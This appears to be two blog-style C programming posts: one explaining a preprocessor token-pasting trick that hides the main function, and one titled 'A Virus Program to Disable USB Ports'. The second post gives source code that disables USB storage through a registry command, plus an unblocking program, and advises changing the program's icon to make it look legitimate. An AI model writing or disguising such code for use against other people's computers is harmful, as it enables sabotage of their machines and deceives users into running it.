C Program Without a Main Function

How to write a C program without a main function?.Is it possible to do that.Yes there can be a C program without a main function.Here’s the code of the program without a main function…

#include
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)
int begin()
{
printf(” hello “);
}
Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function.But how,whats the logic behind it? How can we have a C program working without main ?
Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main.But in reality it runs with a hidden main function.
The ‘##‘ operator is called the token pasting or token merging operator.That is we can merge two or more characters with it.
NOTE: A Preprocessor is program which processess the source code before compilation.
Look at the 2nd line of program-
#define decode(s,t,u,m,p,e,d) m##s##u##t
What is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut).The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).
Now look at the third line of the program-
#define begin decode(a,n,i,m,a,t,e)
Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e).According to the macro definition in the previous line the argument must de expanded so that the 4th,1st,3rd & the 2nd characters must be merged.In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.
So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler.That’s it…
The bottom line is there can never exist a C program without a main function.Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exista a hidden main function in the program.Here we are using the proprocessor directive to intelligently replace the word begin” by “main” .In simple words int begin=int main.

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1.
//block_usb.c
#include
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}

2.
//unblock_usb.c
#include

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}



3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post